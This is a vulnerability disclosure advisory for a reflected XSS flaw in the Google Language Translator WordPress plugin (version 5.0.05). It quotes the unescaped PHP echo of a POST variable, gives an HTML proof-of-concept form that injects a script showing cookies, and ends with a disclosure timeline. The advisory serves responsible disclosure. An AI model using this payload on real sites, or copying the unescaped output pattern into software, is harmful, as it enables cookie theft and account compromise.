Reflected Cross-Site Scripting (XSS) Vulnerability in Google Language Translator
We recently discovered the Google Language Translator plugin has a reflected cross-site scripting (XSS) vulnerability. In version 5.0.05, and some prior versions, the file /google-language-translator.php was echoing a POST variable without escaping it. That occurrs on line 1207:
<td><?php if (isset ($_POST['googlelanguagetranslator_flags_order']) ) { echo $_POST['googlelanguagetranslator_flags_order']; } ?></td>
</tr>
Proof Of Concept
The following proof of concept page will cause any available cookies to shown in alert box. Major web browsers other than Firefox provide XSS filtering so this proof of concept will not work in those web browsers.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <head> </head> <body> <form action="http://[path to WordPress]/wp-admin/options-general.php?page=google_language_translator" method="post"> <input type="hidden" name="googlelanguagetranslator_flags_order" value="<script>alert(document.cookie);</script>" /> <input type="submit" value="submit" /> </form> </body> </html>
Timeline
- 3/28/2016 – Developer notified.
- 4/4/2016 – WordPress Plugin Directory notified.
- 4/5/2016 – Plugin removed from WordPress Plugin Directory.
- 4/18/2016 – Version 5.0.06 released, which fixes vulnerability.